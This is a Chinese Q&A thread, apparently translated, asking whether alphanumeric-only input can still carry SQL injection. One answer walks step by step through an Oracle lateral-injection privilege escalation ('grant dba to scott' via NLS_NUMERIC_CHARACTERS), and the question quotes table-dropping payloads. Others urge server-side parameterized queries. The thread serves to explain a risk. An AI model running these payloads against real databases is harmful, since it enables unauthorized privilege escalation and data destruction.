首页 文章

只有Letter和Number的字符串才能注入SQL语句

提问于
浏览
2

我是SQL注入的新手并阅读了一些文章,许多黑客可能会使用';'和输入中的空格'',例如:

(1)username ='123; drop table account'

(2)username ='123和1 = 1'

但问题是,如果我们只允许用户在客户端键入字母(大写和小写)和数字,没有任何其他字符如空格,分号是允许的,是否有任何字符串存在可以注入SQL语句?如果是这样,有人能举个例子吗?谢谢!

请注意,我不问客户端是否可以阻止SQL注入,我只是想知道这样的字母和数字字符串是否只存在于SQL注入 .

3 回答

  • 3

    我从你的评论中理解的是你问的是:

    是否可以进行SQL注入,我们只允许用户输入数字和字符A到Z(大写和小写)?

    换句话说,您要说的是,为了进行SQL注入,用户需要能够输入 -' 等字符,如Bobby Tables中所示,此恶意用户条目:

    Robert'); DROP TABLE STUDENTS; --
    

    Short Answer

    对的,这是可能的 .

    Long Answer

    您或我们可能认为没有办法仅使用数字进行SQL注入,但可能会有一些人会聪明地想出办法 . 有人确实在Oracle中找到了方法!

    想象一下,我们有这个功能:

    CREATE OR REPLACE FUNCTION P01
    RETURN NUMBER
    AUTHID current_user
    IS
    PRAGMA autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'grant dba to scott';
    RETURN 1;
    END;
    

    所以它非常直接:一个名为 P01 的函数,它将使_b73651_成为dba . 我们有没有办法在没有授予用户角色的特权的情况下执行此功能?例如,如果您以非dba身份登录并发出此命令,则会失败:

    SET ROLE dba;
    

    它将失败并产生此错误:

    set role dba
    *
    ERROR at line 1:
    ORA-01924: role 'DBA' not granted or does not exist
    

    Hacker's Goal

    如何执行函数 P01 并使自己成为dba?

    Finding the Vulnerability

    这是一个只接受数字参数的函数,但我们会看到我们可以在这里执行SQL注入:

    1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
    2 IS
    3 stmt VARCHAR2(2000);
    4 BEGIN
    5 stmt := 'select object_name from all_objects where object_id = ' || n;
    6 EXECUTE IMMEDIATE stmt;
    7 END;
    

    该参数连接到sql语句的末尾 . 但是为了进行连接,必须将它从数字转换为字符串 . 缺点,漏洞在于Oracle引擎如何将数字转换为字符串 .

    根据这一点,Oracle在将NUMERIC值转换为字符串时使用会话变量NLS_NUMERIC_CHARACTERS . NLS_NUMERIC_CHARACTERS的格式是一个字符串,其中第一个字符指定小数分隔符,第二个字符指定组分隔符 .

    如果我们发出此查询:

    SELECT TO_NUMBER('1.01', '0D00') FROM dual;
    

    它会将字符串 1.01 转换为数字 1.01 . 但如果我们像这样改变 NLS_NUMERIC_CHARACTERS

    ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';
    

    并发出此查询:

    SELECT TO_NUMBER('1P01', '0D00') FROM dual;
    

    它会将字符串 1P01 转换为数字 P01 (回想一下 P 是十进制分隔符,因为我们将 NLS_NUMERIC_CHARACTERS 设置为 P ) . 啊哈!它已将它转换为 P01 ,这也恰好是该功能的名称,这是最终目标......更接近一步 .

    The Hack

    即使用户没有权限,用户现在也可以执行此操作:

    EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));
    

    作为复习,这里是 SYS.NUM_PROC 的代码:

    1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
    2 IS
    3 stmt VARCHAR2(2000);
    4 BEGIN
    5 stmt := 'select object_name from all_objects where object_id = ' || n;
    6 EXECUTE IMMEDIATE stmt;
    7 END;
    

    由于 TO_NUMBER('P01', 'D00') 将产生 P01 作为输出, stmt 将分配给它:

    select object_name from all_objects where object_id = 1P01
    

    它将立即执行该语句并执行 1P01 . 目标完成了 . 哈克完成了,用户现在是dba!

    当然,我不够聪明,不能提出所有这些,我从Lateral SQL Injection得到了信息 .

  • 2

    首先, anything you do on the client-side can be bypassed . 记住这个的最简单方法是用"on the attacker's computer, over which they have complete control"替换"client-side" .

    在网站的特定情况下,这可能就像攻击者在浏览器上按F12并编辑页面一样简单,或者可能要求他们使用其他方法制作HTTP请求,但是你能做的最多就是放慢速度他们搞清楚了几分钟 . You do not have any control over what data an attacker can attempt to send you.

    其次,我想不出只使用数字和非重音字符的攻击,但这并不是一个 . 另一方面,我想不出很多地方以这种方式约束输入仍然会产生有用的功能 . 基于白名单的验证(在服务器端)肯定有它的位置,但需要为每个场景提出正确的白名单使其成为一种尴尬的安全机制 .

    因此,最好先确保在任何地方使用正确的转义您的数据(转义始终与输出/使用有关,从不涉及输入/源),并尽可能将数据与代码分离(例如,使用参数化查询而不是在SQL字符串中包含数据) . 一旦你有了这个工作,基于白名单的验证可能是一个明智的额外步骤 .

  • 3

    SQL注入的一些情况使用十六进制编码来隐藏过滤器中的字符串值 . 如果您的客户端代码仅过滤该值包含字母和数字,那么仍然允许长字符串的十六进制数字,这可以由您的服务器在插入SQL时进行解码 .

    我同意@IMSoP,你根本不应该依赖客户端代码 . 任何攻击者都可以修改客户端代码并绕过您编写的检查 . 最好在服务器端使用参数化查询 .

相关问题